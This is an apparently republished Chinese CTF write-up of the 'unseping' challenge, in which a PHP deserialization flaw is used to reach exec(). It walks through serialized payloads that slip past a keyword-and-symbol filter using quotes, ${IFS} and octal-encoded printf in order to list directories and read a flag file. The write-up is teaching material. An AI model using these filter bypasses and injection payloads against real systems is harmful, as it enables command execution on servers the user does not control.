我的编程空间,编程开发者的网络收藏夹
学习永远不晚

攻防世界新手练习区——unseping

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

攻防世界新手练习区——unseping

目录

知识点

解读题目源码:

 命令绕过


知识点

  • PHP代码审计
  • PHP序列化和反序列化
  • PHP中魔术方法
  • 命令执行绕过方式

解读题目源码:

这道题首先一上来就是一段PHP代码,其中看到unserialize()就知道考的是反序列化,但是我们再往上看代码会发现还有命令执行绕过的知识点。做出这道题的第一步就是能够理清代码执行顺序和各个函数的功能。接下来我们先分析一下源码。

method = $method;        $this->args = $args;    }     function __destruct(){        if (in_array($this->method, array("ping"))) {            call_user_func_array(array($this, $this->method), $this->args);        }    }      function ping($ip){        exec($ip, $result);        var_dump($result);    }    function waf($str){        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {            return $str;        } else {            echo "don't hack";        }    }     function __wakeup(){        foreach($this->args as $k => $v) {            $this->args[$k] = $this->waf($v);        }    }   }$ctf=@$_POST['ctf'];@unserialize(base64_decode($ctf));?>
  • __construct():这是一个构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法。
  • __destruct():这是一个析构函数,在对象的所有引用被删除或者当对象被显示销毁执行的魔术方法。注意:在实例化对象后,代码运行完全销毁,会触发析构函数__destruct();反序列化得到的是对象,用完之后会销毁,触发析构函数。这道题中发序列化之后就会触发析构函数
  • in_array()函数:

  • call_user_func_array()函数:

  •  exec()函数

  •  var_dump():用于输出变量的详细信息,包括值和类型等
  • preg_match_all():用于执行一个全局正则表达式匹配

  •  __wakeup()函数:

    unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源。

    预先准对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

  • foreach()函数:

 执行顺序:

  1. 以POST方式提交ctf
  2. 对提交的值进行base64解码
  3. 进行反序列化
  4. 然后执行__wakeup()函数
  5. 执行析构函数_destruct()

能够看懂代码之后我们就可以开始进行尝试。由于我们是需要查看当前目录,寻找一下是否有flag的文件提示,但是有一个waf函数进行过滤,所以我们不能直接传参为ls。这就需要我们的命令执行绕过方式了。

我们可以检验上面我们的思路是否正确。

method = $method;        $this->args = $args;    }     }$o=new ease("ping",array("ifconfig"));$s = serialize($o);echo base64_encode($s);?>

将上述代码结果以post形式提交进去。

这时候我们发现页面返回了结果:

这就说明我们整体思路是没有问题的,直接使用命令绕过方法寻找Flag。

 命令绕过

上面检验命令是可以执行的,我们接下来思路就放在命令执行绕过过滤即可,寻找flag线索。

  • 单引号
  • 双引号
  • ${Z}

method = $method;        $this->args = $args;    }     }$o=new ease("ping",array('l""s'));$s = serialize($o);echo base64_encode($s);?>

 将上述结果提交。

看到了"flag_1s_here”文件夹,于是我们查看一下该文件夹下目录;于是执行命令"ls flag_1s_here";此处空格用${IFS}绕过。 

method = $method;        $this->args = $args;    }     }$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));$s = serialize($o);echo base64_encode($s);?>

于是我们通过命令查看该文件;命令cat flag_1s_here/flag_831b69012c67b35f.php。

/绕过方式:利用oct编码(八进制)绕过;$(printf "\154\163")//ls命令

通过python脚本实现oct绕过:

str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"arr = []for i in str1:    #对字符先转换为ASCII码,再转换为八进制    r = oct(ord(i))    #这个主要是为了将八进制前面的0o替换掉    r=str(r).replace("0o","")    arr.append(r)s = "\\"# print(arr)#将所有的八进制组合,最终的结果第一个地方应该再添加一个\p=s.join(arr)print(p)

将其结果带入命令那执行,代码如下:

method = $method;        $this->args = $args;    }     }$o=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));$s = serialize($o);echo base64_encode($s);?>

代入显示Flag:

 

来源地址:https://blog.csdn.net/weixin_65049289/article/details/128395834

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

攻防世界新手练习区——unseping

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录